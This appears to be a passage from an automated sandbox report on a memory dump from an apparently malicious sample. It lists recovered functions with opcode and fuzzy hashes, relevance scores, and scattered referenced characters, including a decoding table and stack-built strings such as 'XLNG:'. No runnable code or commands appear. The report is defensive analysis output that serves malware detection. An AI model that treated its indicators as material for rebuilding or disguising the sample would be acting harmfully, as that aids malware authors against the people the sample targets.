Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4f1a47e469db01a1eef6c7f2d5b49e19d955ffd97c7228385fc8c35807cfa85
Instruction ID: 64ef28dabc8858a72f9e295dec880e73e3c9caf3e981af4be961465ab3089185
Opcode Fuzzy Hash: a4f1a47e469db01a1eef6c7f2d5b49e19d955ffd97c7228385fc8c35807cfa85
Instruction Fuzzy Hash: 5E3180116597F10ED30E836D08B9A75AEC18E9720174EC2FEDADB6F2F3C0888408D3A1

Uniqueness

Uniqueness Score: -1.00%

Function 504888C0, Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d54046160b7b4513d571e4ee79dd881f1acaa3b7eb4c9e9099d42c413c9f7205
Instruction ID: e458bafc9ad1311b52edc6336e53256efaff4387703d08a2802b57d451dd4583
Opcode Fuzzy Hash: d54046160b7b4513d571e4ee79dd881f1acaa3b7eb4c9e9099d42c413c9f7205
Instruction Fuzzy Hash: AB2129B3C412085BC715D6A4DD52FFF77BC9F55204F040AAEF94A93141F638AA498BE2

Uniqueness

Uniqueness Score: -1.00%

Function 5048C3EF, Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 769f1f76181f3246d3634861a22b86cd96491a923fd1fd7e130a5c5f90eaf69a
Instruction ID: 4d2d996296a9f2f03ba8549e016b7a48d993444fd56dd429a3b86e3275ad576b
Opcode Fuzzy Hash: 769f1f76181f3246d3634861a22b86cd96491a923fd1fd7e130a5c5f90eaf69a
Instruction Fuzzy Hash: 7CD02363E18055035301ED7014010B8FB71D6C355579426D9DF54BB187C403C04582C4

Uniqueness

Uniqueness Score: -1.00%

Function 50486ABC, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0d2afde532e41dc8d85b71c70446b252175ee84deaf893196a98997aa4fb8e9
Instruction ID: 28c673a08cd7e96ea47fcca42442d8f3805050a3d8f8c1cb58097ec6231779ef
Opcode Fuzzy Hash: a0d2afde532e41dc8d85b71c70446b252175ee84deaf893196a98997aa4fb8e9
Instruction Fuzzy Hash: CEB09273AAE11907D13CAD1DB8416B7F7A9D7C3225F012BABE808AB6108187C891468E

Uniqueness

Uniqueness Score: -1.00%

Function 50489453, Relevance: 51.4, Strings: 41, Instructions: 168COMMON

Download Yara Rule

Strings

@@@@, xrefs: 50489618
@@@@, xrefs: 50489634
@@@@, xrefs: 50489681
-./0, xrefs: 50489591
@@@@, xrefs: 504895D2
@@@@, xrefs: 504895A5
@@@@, xrefs: 504895D9
@@@@, xrefs: 5048962D
123@, xrefs: 5048959B
@@@@, xrefs: 50489688
@@@@, xrefs: 50489673
@@@@, xrefs: 50489649
@@@@, xrefs: 50489555
@@@@@@@@, xrefs: 5048969F
@@@@, xrefs: 50489603
@@@@, xrefs: 504895AF
@@@@, xrefs: 5048967A
@@@@, xrefs: 504895E7
@@@@, xrefs: 50489611
@@@@, xrefs: 50489650
@@@@, xrefs: 50489665
@@@@, xrefs: 504895F5
@@@@, xrefs: 504895FC
@@@@, xrefs: 5048966C
@@@@, xrefs: 50489657
@@@@, xrefs: 5048965E
@@@@, xrefs: 5048961F
@@@@, xrefs: 504895B6
@@@@, xrefs: 5048963B
@@@@, xrefs: 50489642
@@@@, xrefs: 504895E0
%&'(, xrefs: 5048957D
!"#$, xrefs: 50489573
@@@@, xrefs: 504895EE
@@@@, xrefs: 50489626
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>@@@?456789:;<=@@@@@@@, xrefs: 504896D3
@@@@, xrefs: 5048960A
)*+,, xrefs: 50489587
@@@@, xrefs: 504895BD
@@@@, xrefs: 504895C4
@@@@, xrefs: 504895CB

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: !"#$$%&'($)*+,$-./0$123@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@@@@@$@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>@@@?456789:;<=@@@@@@@
API String ID: 0-3248090998
Opcode ID: 84dcd98baecf748b7ac6f0b725b62f332d0dc6db0e6d9c65bad2f68fbe79b494
Instruction ID: 72ce695b6db6dbeeb2e92690cd02e283a63e13618cfa2be84553f54092fb4ea7
Opcode Fuzzy Hash: 84dcd98baecf748b7ac6f0b725b62f332d0dc6db0e6d9c65bad2f68fbe79b494
Instruction Fuzzy Hash: 019110F08052A88ECB118F55A4603DFBF71BB95204F1585E9C6AA7B203C3BE4E85DF90

Uniqueness

Uniqueness Score: -1.00%

Function 50489460, Relevance: 51.4, Strings: 41, Instructions: 166COMMON

Download Yara Rule

Strings

@@@@, xrefs: 50489618
@@@@, xrefs: 50489634
@@@@, xrefs: 50489681
-./0, xrefs: 50489591
@@@@, xrefs: 504895D2
@@@@, xrefs: 504895A5
@@@@, xrefs: 504895D9
@@@@, xrefs: 5048962D
123@, xrefs: 5048959B
@@@@, xrefs: 50489688
@@@@, xrefs: 50489673
@@@@, xrefs: 50489649
@@@@, xrefs: 50489555
@@@@@@@@, xrefs: 5048969F
@@@@, xrefs: 50489603
@@@@, xrefs: 504895AF
@@@@, xrefs: 5048967A
@@@@, xrefs: 504895E7
@@@@, xrefs: 50489611
@@@@, xrefs: 50489650
@@@@, xrefs: 50489665
@@@@, xrefs: 504895F5
@@@@, xrefs: 504895FC
@@@@, xrefs: 5048966C
@@@@, xrefs: 50489657
@@@@, xrefs: 5048965E
@@@@, xrefs: 5048961F
@@@@, xrefs: 504895B6
@@@@, xrefs: 5048963B
@@@@, xrefs: 50489642
@@@@, xrefs: 504895E0
%&'(, xrefs: 5048957D
!"#$, xrefs: 50489573
@@@@, xrefs: 504895EE
@@@@, xrefs: 50489626
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>@@@?456789:;<=@@@@@@@, xrefs: 504896D3
@@@@, xrefs: 5048960A
)*+,, xrefs: 50489587
@@@@, xrefs: 504895BD
@@@@, xrefs: 504895C4
@@@@, xrefs: 504895CB

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: !"#$$%&'($)*+,$-./0$123@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@@@@@$@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>@@@?456789:;<=@@@@@@@
API String ID: 0-3248090998
Opcode ID: 88d2f9759e5af378ae688ea4fd5311552ce04c6e866e263db9e13d76fe42414d
Instruction ID: f00e4ca283c8cea904b83a708a1a97caef2382556f971071ab617cb014f57229
Opcode Fuzzy Hash: 88d2f9759e5af378ae688ea4fd5311552ce04c6e866e263db9e13d76fe42414d
Instruction Fuzzy Hash: A0911EF08042A88ACB118F55A4603DFBF71BB95204F1585E9C6AA7B203C3BE4E85DF90

Uniqueness

Uniqueness Score: -1.00%

Function 504851E0, Relevance: 42.7, Strings: 34, Instructions: 232COMMON

Download Yara Rule

Strings

k:HP, xrefs: 504851EA, 504851ED, 5048532A, 50485349, 5048536B, 5048539F, 504853BE, 504853E0, 50485414, 50485433, 50485453, 50485495, 504854BB, 50485533, 50485539
n, xrefs: 504852A4
\, xrefs: 504852D0
e, xrefs: 5048527B
o, xrefs: 50485215
\, xrefs: 5048520E
i, xrefs: 504852FA
e, xrefs: 504852B8
s, xrefs: 504852C2
e, xrefs: 50485251
u, xrefs: 50485290
o, xrefs: 50485243
k, xrefs: 5048524A
t, xrefs: 50485266
i, xrefs: 5048522E
e, xrefs: 50485235
\, xrefs: 50485258
o, xrefs: 5048526D
f, xrefs: 504852EC
r, xrefs: 504852DE
w, xrefs: 50485308
\, xrefs: 5048523C
\, xrefs: 504852F3
, xrefs: 504852AE
r, xrefs: 5048529A
N, xrefs: 5048525F
i, xrefs: 504852D7
., xrefs: 50485220
k, xrefs: 50485274
q, xrefs: 50485227
d, xrefs: 50485301
\, xrefs: 50485286
s, xrefs: 504852E5
o, xrefs: 504852C9

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $.$N$\$\$\$\$\$\$d$e$e$e$e$f$i$i$i$k$k$k:HP$n$o$o$o$o$q$r$r$s$s$t$u$w
API String ID: 0-2954518199
Opcode ID: ad0ca6ab25119bc4808257f1b4f4b1a79a1864167b5248d3c821102d7b5060f4
Instruction ID: 3ea125b32b24d6810bd676b4dc810a02382b2b54f83c2fcb86f6d865727acb5b
Opcode Fuzzy Hash: ad0ca6ab25119bc4808257f1b4f4b1a79a1864167b5248d3c821102d7b5060f4
Instruction Fuzzy Hash: 87916EB1911218AADB10DFD4CC45FEFBB79AF55704F00466DA2086B140EBB95A88CBF9

Uniqueness

Uniqueness Score: -1.00%

Function 50483D70, Relevance: 34.1, Strings: 27, Instructions: 368COMMON

Download Yara Rule

Strings

e, xrefs: 50483FA7
x64, xrefs: 504840E9, 504840EC
o, xrefs: 50483FC3
a, xrefs: 50483F64
i, xrefs: 504841D6
m, xrefs: 504841CC
r, xrefs: 50483FA0
:, xrefs: 50483E00
, xrefs: 50483F8B
e, xrefs: 50483FB5
1, xrefs: 50483E13
e, xrefs: 50483F6E
x86, xrefs: 504840EF, 504840F2
e, xrefs: 504841E0
t, xrefs: 50483F5A
XLNG:, xrefs: 50483E8A, 50483E8D
T, xrefs: 50483F92
o, xrefs: 504841B8
P, xrefs: 504841AE
P, xrefs: 50483F3C
C, xrefs: 50483F99
s, xrefs: 50483FBC
u, xrefs: 50483F50
t, xrefs: 50483FAE
o, xrefs: 50483F46
2.5, xrefs: 50483ECB, 50483ECE
r, xrefs: 504841C2

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $ x64$ x86$1$2.5$:$C$P$P$T$XLNG:$a$e$e$e$e$i$m$o$o$o$r$r$s$t$t$u
API String ID: 0-1309863547
Opcode ID: b518fcd513a6cf3441f525c1b7b10d71f2833d1ede5a2ed970272376a6518b91
Instruction ID: eea8c313e6d706c99a925ddac0c602bcc1da9627ce72497a2ab1b23fcf9404b8
Opcode Fuzzy Hash: b518fcd513a6cf3441f525c1b7b10d71f2833d1ede5a2ed970272376a6518b91
Instruction Fuzzy Hash: 3CE186B1901309AEDB14CFA4CC46FEEB7B8AF54308F00466EF50DA6141EBB56A54CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 50484C20, Relevance: 31.4, Strings: 25, Instructions: 194COMMON

Download Yara Rule

Strings

", xrefs: 50484CD9
u, xrefs: 50484D4C
W, xrefs: 50484D2D
\, xrefs: 50484D42
EQHP, xrefs: 50484CD4, 50484CE7, 50484CD7
y, xrefs: 50484D26
d, xrefs: 50484D56
m, xrefs: 50484D11
i, xrefs: 50484CF5
\, xrefs: 50484D1F
e, xrefs: 50484D7E
e, xrefs: 50484D74
y, xrefs: 50484D03
t, xrefs: 50484D0A
\, xrefs: 50484CFC
l, xrefs: 50484D60
", xrefs: 50484E3B
2, xrefs: 50484D6A
2, xrefs: 50484D18
n, xrefs: 50484CEE
4, xrefs: 50484D3B
D, xrefs: 50484F01
", xrefs: 50484E45
W, xrefs: 50484D34
, xrefs: 50484CE0

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $"$"$"$2$2$4$D$EQHP$W$W$\$\$\$d$e$e$i$l$m$n$t$u$y$y
API String ID: 0-2404262091
Opcode ID: fa008d316ab8b0415d87ce152877c8ae0144694dfb1b46bd9aeeb425ffc17c03
Instruction ID: da28db47672f255a1f057f896851c529203b53ff73540a75ef2fec2762f817cf
Opcode Fuzzy Hash: fa008d316ab8b0415d87ce152877c8ae0144694dfb1b46bd9aeeb425ffc17c03
Instruction Fuzzy Hash: C68120B5D10318AEDB54CFA4CC45BDEBBB9AF54304F00469EA60DB7141EBB45A88CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 50491A40, Relevance: 25.2, Strings: 20, Instructions: 231COMMON

Download Yara Rule

Strings

g, xrefs: 50491B4A
t, xrefs: 50491AD0
t, xrefs: 50491B3C
I, xrefs: 50491B0B
x, xrefs: 50491AEF
m, xrefs: 50491B2E
I, xrefs: 50491AC6
r, xrefs: 50491AFD
, xrefs: 50491AE8
r, xrefs: 50491B43
\, xrefs: 50491B35
o, xrefs: 50491B27
e, xrefs: 50491AE1
l, xrefs: 50491AF6
r, xrefs: 50491B04
t, xrefs: 50491B12
l, xrefs: 50491B19
i, xrefs: 50491B20
r, xrefs: 50491ADA
2, xrefs: 50491B51

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $2$I$I$\$e$g$i$l$l$m$o$r$r$r$r$t$t$t$x
API String ID: 0-3236418099
Opcode ID: 36d5dfbde9de43d38d02b0ea5685d495131fac1563012c93f262481b1f57e59b
Instruction ID: 7a0b765a92b98b24597997d2bc0aeb96ef180319125e33ddab57c7511decabe0
Opcode Fuzzy Hash: 36d5dfbde9de43d38d02b0ea5685d495131fac1563012c93f262481b1f57e59b
Instruction Fuzzy Hash: AA8192B1901218AAEB10CF94DC45FEE7BBDEF54308F0046ADE90CA6150EB795A85CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 50491D80, Relevance: 25.1, Strings: 20, Instructions: 64COMMON

Download Yara Rule

Strings

, xrefs: 50491DB9
e, xrefs: 50491DD5
e, xrefs: 50491DE3
t, xrefs: 50491DC7
a, xrefs: 50491DCE
a, xrefs: 50491E29
a, xrefs: 50491DF8
\, xrefs: 50491DA4
, xrefs: 50491E1B
p, xrefs: 50491DAB
a, xrefs: 50491DEA
l, xrefs: 50491DFF
O, xrefs: 50491DDC
S, xrefs: 50491DF1
\, xrefs: 50491E06
a, xrefs: 50491E22
i, xrefs: 50491E14
o, xrefs: 50491DC0
o, xrefs: 50491E0D
r, xrefs: 50491DB2

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $ $O$S$\$\$a$a$a$a$a$e$e$i$l$o$o$p$r$t
API String ID: 0-815130641
Opcode ID: 5fb2ce75e0e914f20779b06ab5182a01e70aca568ef667b59ce5942777ca2fc4
Instruction ID: 7dc4ef7f07c4bbb55b6576d0200d15b68e3f2225cc02d47e81d643bfde2ceccb
Opcode Fuzzy Hash: 5fb2ce75e0e914f20779b06ab5182a01e70aca568ef667b59ce5942777ca2fc4
Instruction Fuzzy Hash: C1213171D013189AEB109FC5A8497EDBFBAAB40718F14421DE5042B282D7FA55888BA5

Uniqueness

Uniqueness Score: -1.00%

Function 5048FBB0, Relevance: 24.1, Strings: 19, Instructions: 306COMMON

Download Yara Rule

Strings

r, xrefs: 5048FD86
c, xrefs: 5048FD78
R, xrefs: 5048FD71
e, xrefs: 5048FD0F
), xrefs: 5048FEAD
r, xrefs: 5048FCEC
, xrefs: 5048FD01
C, xrefs: 5048FC1B
a, xrefs: 5048FCFA
G, xrefs: 5048FCB2
x, xrefs: 5048FD6A
i, xrefs: 5048FD08
E, xrefs: 5048FC65
F, xrefs: 5048FD63
D, xrefs: 5048FC40
g, xrefs: 5048FCF3
\, xrefs: 5048FCE5
v, xrefs: 5048FD7F
F, xrefs: 5048FC8D

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $)$C$D$E$F$F$G$R$\$a$c$e$g$i$r$r$v$x
API String ID: 0-401266261
Opcode ID: 6d1457d1cd07abf8b28d9f16b94711a816d7823c57be0401063ac0e1a1bef35f
Instruction ID: 6b20395bcbde74baede93883350e49595ba6217c5913237545285a644fb87c24
Opcode Fuzzy Hash: 6d1457d1cd07abf8b28d9f16b94711a816d7823c57be0401063ac0e1a1bef35f
Instruction Fuzzy Hash: A6C182B1D11218AAEB25CFD4CC42FEE77B8AF58704F0045AEF50DA6181EBB45B448FA5

Uniqueness

Uniqueness Score: -1.00%

Function 5048E9B0, Relevance: 24.0, Strings: 19, Instructions: 254COMMON

Download Yara Rule

Strings

c, xrefs: 5048EA8F
a, xrefs: 5048EA67
I, xrefs: 5048EA53
y, xrefs: 5048EAA3
\, xrefs: 5048E9E1
t, xrefs: 5048EA14
a, xrefs: 5048E9E8
o, xrefs: 5048EA32
o, xrefs: 5048EA99
e, xrefs: 5048EA1E
s, xrefs: 5048EA5D
D, xrefs: 5048EA7B
e, xrefs: 5048EA0A
r, xrefs: 5048EA00
C, xrefs: 5048E9F6
s, xrefs: 5048EA28
l, xrefs: 5048EA71
r, xrefs: 5048EA85
n, xrefs: 5048E9EF

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: C$D$I$\$a$a$c$e$e$l$n$o$o$r$r$s$s$t$y
API String ID: 0-2101568155
Opcode ID: 18cca2af51741537374f11085230978beefadeeb6da7a0f0ff0e456b9e92b555
Instruction ID: 37074cfd21844cf96305c3babea2e1d658f8d7b13feeda9d886c0a0635ae0c11
Opcode Fuzzy Hash: 18cca2af51741537374f11085230978beefadeeb6da7a0f0ff0e456b9e92b555
Instruction Fuzzy Hash: 5991B6B1D01208ABEB10CF95CC85FEE77B9EF45704F0046ADF9089A241E7B99A55CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 5048FBA5, Relevance: 24.0, Strings: 19, Instructions: 217COMMON

Download Yara Rule

Strings

r, xrefs: 5048FD86
c, xrefs: 5048FD78
R, xrefs: 5048FD71
e, xrefs: 5048FD0F
), xrefs: 5048FEAD
r, xrefs: 5048FCEC
, xrefs: 5048FD01
C, xrefs: 5048FC1B
a, xrefs: 5048FCFA
G, xrefs: 5048FCB2
x, xrefs: 5048FD6A
i, xrefs: 5048FD08
E, xrefs: 5048FC65
F, xrefs: 5048FD63
D, xrefs: 5048FC40
g, xrefs: 5048FCF3
\, xrefs: 5048FCE5
v, xrefs: 5048FD7F
F, xrefs: 5048FC8D

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $)$C$D$E$F$F$G$R$\$a$c$e$g$i$r$r$v$x
API String ID: 0-401266261
Opcode ID: 1d82646a0ad9bd284c2055b5e940336c64932e10fce634cc5c05a95804388723
Instruction ID: 5e671c824bdaa13d4c81506cfc8fd39a66f9a3368efb536084e5c767cb5a2b04
Opcode Fuzzy Hash: 1d82646a0ad9bd284c2055b5e940336c64932e10fce634cc5c05a95804388723
Instruction Fuzzy Hash: 2F8150B1D11318AAEB24CFE0CC46FEEB7B8EF18704F00469EE50DA6181E7B55A448F95

Uniqueness

Uniqueness Score: -1.00%

Function 504926B0, Relevance: 23.9, Strings: 19, Instructions: 146COMMON

Download Yara Rule

Strings

x, xrefs: 5049274C
I, xrefs: 50492742
v, xrefs: 504927BD
R, xrefs: 504927AF
c, xrefs: 504927B6
t, xrefs: 5049271E
u, xrefs: 50492714
r, xrefs: 504926CD
o, xrefs: 504927A1
n, xrefs: 504926DB
r, xrefs: 504927C4
O, xrefs: 50492793
l, xrefs: 50492756
k, xrefs: 504927A8
V, xrefs: 5049270A
t, xrefs: 5049279A
., xrefs: 504926D4
r, xrefs: 50492760
_, xrefs: 50492700

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: .$I$O$R$V$_$c$k$l$n$o$r$r$r$t$t$u$v$x
API String ID: 0-784799069
Opcode ID: fc96f75d1684bd32bb5f27dff36ffc28f63698ae5b6d7195db8a55d0fb66480a
Instruction ID: 1493250bcf8c0d2edc5606ddd9b298934e595746e9e5436fea4f609465332e72
Opcode Fuzzy Hash: fc96f75d1684bd32bb5f27dff36ffc28f63698ae5b6d7195db8a55d0fb66480a
Instruction Fuzzy Hash: 6A510DB1D0021CAFDB10DFA4CC45BEEBBB5FF45304F00466EE508AB241E7B95A598BA1

Uniqueness

Uniqueness Score: -1.00%

Function 504926A9, Relevance: 23.9, Strings: 19, Instructions: 126COMMON

Download Yara Rule

Strings

x, xrefs: 5049274C
I, xrefs: 50492742
v, xrefs: 504927BD
R, xrefs: 504927AF
c, xrefs: 504927B6
t, xrefs: 5049271E
u, xrefs: 50492714
r, xrefs: 504926CD
o, xrefs: 504927A1
n, xrefs: 504926DB
r, xrefs: 504927C4
O, xrefs: 50492793
l, xrefs: 50492756
k, xrefs: 504927A8
V, xrefs: 5049270A
t, xrefs: 5049279A
., xrefs: 504926D4
r, xrefs: 50492760
_, xrefs: 50492700

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: .$I$O$R$V$_$c$k$l$n$o$r$r$r$t$t$u$v$x
API String ID: 0-784799069
Opcode ID: edeb5f7c3b49e39e5a6979d196dca34e983b377160e28fbc741db2304e28754f
Instruction ID: 9f6b85e8912d59d0e6bb86159535db5b71e8473f5607e91e002f10270b32072a
Opcode Fuzzy Hash: edeb5f7c3b49e39e5a6979d196dca34e983b377160e28fbc741db2304e28754f
Instruction Fuzzy Hash: 865111B1D0021C9FDB10DFA4C845BEEBBB5BF45304F00466EE508AB241E7B95A598FA5

Uniqueness

Uniqueness Score: -1.00%

Function 5048BE70, Relevance: 21.5, Strings: 17, Instructions: 219COMMON

Download Yara Rule

Strings

[, xrefs: 5048C00D
], xrefs: 5048C022
[, xrefs: 5048BF6A
-, xrefs: 5048C014
s, xrefs: 5048BF71
e, xrefs: 5048BFED
[, xrefs: 5048BFDF
], xrefs: 5048BF78
l, xrefs: 5048BF98
], xrefs: 5048BFF4
n, xrefs: 5048BFE6
], xrefs: 5048BFC6
[, xrefs: 5048BF91
], xrefs: 5048BF9F
e, xrefs: 5048C01B
[, xrefs: 5048BFB8
a, xrefs: 5048BFBF

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: -$[$[$[$[$[$]$]$]$]$]$a$e$e$l$n$s
API String ID: 0-2169243036
Opcode ID: 6decbe08275f90031451a261a0d6f5733d76dd77430271b5a6b60b403aae2440
Instruction ID: a0ffc1b7b06ce26bfdfbd6eb651699185a7fc822dd1d6b67ecf6fa74dc8a8cfa
Opcode Fuzzy Hash: 6decbe08275f90031451a261a0d6f5733d76dd77430271b5a6b60b403aae2440
Instruction Fuzzy Hash: DF7167B0901704BAEB209FE4CC46FEFBABD9F55B09F004A1EF61566180D7B879448BE5

Uniqueness

Uniqueness Score: -1.00%

Function 5048DAF0, Relevance: 16.4, Strings: 13, Instructions: 173COMMON

Download Yara Rule

Strings

l, xrefs: 5048DBA2
r, xrefs: 5048DB8D
i, xrefs: 5048DB51
., xrefs: 5048DB21
s, xrefs: 5048DBA9
m, xrefs: 5048DB94
o, xrefs: 5048DB86
F, xrefs: 5048DB9B
P, xrefs: 5048DB7F
x, xrefs: 5048DB2B
e, xrefs: 5048DB58
o, xrefs: 5048DB5F
, xrefs: 5048DB4A

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $.$F$P$e$i$l$m$o$o$r$s$x
API String ID: 0-392141074
Opcode ID: 6363c05ccb15e9785eff4192277c04ef314e32791195a3bd049bd6b745bd472d
Instruction ID: d0102f1a50cc7f69be51a74db763dde8ee20676e880c5f9f87e9af1d131e87ed
Opcode Fuzzy Hash: 6363c05ccb15e9785eff4192277c04ef314e32791195a3bd049bd6b745bd472d
Instruction Fuzzy Hash: 066150B1D01218AAEB20DFE4CC85FEE7BB9BF58704F04466EE509A6180E7745A448BE5

Uniqueness

Uniqueness Score: -1.00%

Function 5048DAEB, Relevance: 16.4, Strings: 13, Instructions: 158COMMON

Download Yara Rule

Strings

l, xrefs: 5048DBA2
r, xrefs: 5048DB8D
i, xrefs: 5048DB51
., xrefs: 5048DB21
s, xrefs: 5048DBA9
m, xrefs: 5048DB94
o, xrefs: 5048DB86
F, xrefs: 5048DB9B
P, xrefs: 5048DB7F
x, xrefs: 5048DB2B
e, xrefs: 5048DB58
o, xrefs: 5048DB5F
, xrefs: 5048DB4A

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $.$F$P$e$i$l$m$o$o$r$s$x
API String ID: 0-392141074
Opcode ID: 93b75fa3336095b6fa60c7b726e520e0ef8873835666473436dc0a0b6737eabd
Instruction ID: 988956820cf41936d8c40e0e2fbea763765fa0aeb9eb174fa0df50aa93b992b7
Opcode Fuzzy Hash: 93b75fa3336095b6fa60c7b726e520e0ef8873835666473436dc0a0b6737eabd
Instruction Fuzzy Hash: 125140B1D01218AAEB20DFE4CC85FEE7BB9BF58704F04466EE509A6180E7745A44CFE5

Uniqueness

Uniqueness Score: -1.00%

Function 5048ECF0, Relevance: 15.1, Strings: 12, Instructions: 121COMMON

Download Yara Rule

Strings

T, xrefs: 5048ED45
f, xrefs: 5048ED33
P, xrefs: 5048ED01
F, xrefs: 5048ED25
d, xrefs: 5048ED68
d, xrefs: 5048ED53
T, xrefs: 5048ED08
r, xrefs: 5048ED2C
x, xrefs: 5048ED3A
r, xrefs: 5048ED5A
u, xrefs: 5048ED4C
i, xrefs: 5048ED61

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: F$P$T$T$d$d$f$i$r$r$u$x
API String ID: 0-2987356081
Opcode ID: eee7a8d073b545e3b59c1f5b5d8875b4ba75d3718739a31be3dd436282efa26b
Instruction ID: 079c3b200d4e55d12795224a1a5a9d1f78638cd4b2303c39240d9d1253dd90bc
Opcode Fuzzy Hash: eee7a8d073b545e3b59c1f5b5d8875b4ba75d3718739a31be3dd436282efa26b
Instruction Fuzzy Hash: B34173B1C01318AADB20DFD29C45BFFBAB8EF55718F008A1DF9096A141E7B91549CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 50484700, Relevance: 15.1, Strings: 12, Instructions: 82COMMON

Download Yara Rule

Strings

w, xrefs: 5048478D
k:HP, xrefs: 50484709
D, xrefs: 50484786
r, xrefs: 50484749
e, xrefs: 50484757
i, xrefs: 5048479B
\, xrefs: 5048472D
x, xrefs: 50484734
r, xrefs: 50484742
n, xrefs: 50484794
l, xrefs: 5048473B
e, xrefs: 50484750

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: D$\$e$e$i$k:HP$l$n$r$r$w$x
API String ID: 0-131499723
Opcode ID: 5a3c7fc2d8ca8b2c9afe811c7717f264aa7b5fb2952a41c5860e4fbb283a8866
Instruction ID: 72c1a8abeb05b613afc8168353b46599bf6c49296e9fa8243937cce4441ae149
Opcode Fuzzy Hash: 5a3c7fc2d8ca8b2c9afe811c7717f264aa7b5fb2952a41c5860e4fbb283a8866
Instruction Fuzzy Hash: 112173B1D11218AADF50DFD4CC45BEEBBB9BF08704F00465DF60876180DBB556488BE4

Uniqueness

Uniqueness Score: -1.00%

Function 504846FB, Relevance: 15.1, Strings: 12, Instructions: 81COMMON

Download Yara Rule

Strings

w, xrefs: 5048478D
k:HP, xrefs: 50484709
D, xrefs: 50484786
r, xrefs: 50484749
e, xrefs: 50484757
i, xrefs: 5048479B
\, xrefs: 5048472D
x, xrefs: 50484734
r, xrefs: 50484742
n, xrefs: 50484794
l, xrefs: 5048473B
e, xrefs: 50484750

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: D$\$e$e$i$k:HP$l$n$r$r$w$x
API String ID: 0-131499723
Opcode ID: 867be16721b54ea423743a5e08cd48efe68bead6cbcb6edbe857900cbe382d9d
